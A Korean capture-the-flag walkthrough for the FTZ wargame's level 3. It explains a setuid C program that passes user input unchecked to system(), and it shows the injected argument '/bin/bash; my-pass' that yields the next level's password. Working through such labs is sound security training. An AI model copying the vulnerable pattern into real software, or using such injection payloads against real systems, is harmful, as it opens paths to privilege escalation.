[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
cat으로 hint를 보니 소스코드가 출력되었습니다. 소스코드의 중요한 부분을 해석해 보면
int main(int argc, char **argv){ // 인자를 입력받는다.
char cmd[100]; // cmd라는 변수에 100의 크기만큼 문자를 할당받는다.
strcpy( cmd, "dig @" ); // cmd라는 문자열에 dig@를 복사해라
strcat( cmd, argv[1] ); // cmd에 argv[1]을 이어 붙인다
strcat( cmd, " version.bind chaos txt"); // cmd에 version.bind chaos txt를 이어 붙인다.
system( cmd ); // system함수를 호출하여 cmd 인자로 받는 프로세서를 실행시킨다.
}
프로그램을 실행시키려면? 상대 경로를 써주고 프로그램명을 써줍니다. Ex) ./program_name
동시에 여러 명령어를 실행시키려면? ls;ls-al 처럼 앞에서 끝난 명령어에 세미콜론을 붙여줍니다.
문자열 형태로 명령어를 전달하려면? ""로 전달하고자 하는 내용을 감싸줍니다. Ex) "bash"
⇾ 프로그램 인자로 bash 쉘 명령어와 my-pass 명령어를 넘겨서 프로그램을 실행시키면 system 함수가 실행되며 패스워드를 얻을 수 있을 거 같습니다.
먼저 autodig 파일을 찾기 위해 find 명령어를 사용해보면
[level3@ftz level3]$ find / -user level4 -perm -4000 2> /dev/null
/bin/autodig
[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ ls -l | grep autodig
-rwsr-x--- 1 level4 level3 12194 Sep 10 2011 autodig
/bin 위치에 있음을 알 수 있습니다. 해당 디렉터리로 이동해서 권한을 확인해보니 setuid가 걸려있습니다.
[level3@ftz bin]$ ./autodig "/bin/bash; my-pass"
Level4 Password is "suck my brain".
./autodig로 프로그램을 실행시키고 "/bin/bash; my-pass" 두 개의 명령어를 인자로 전달해보면 패스워드가 출력되었습니다.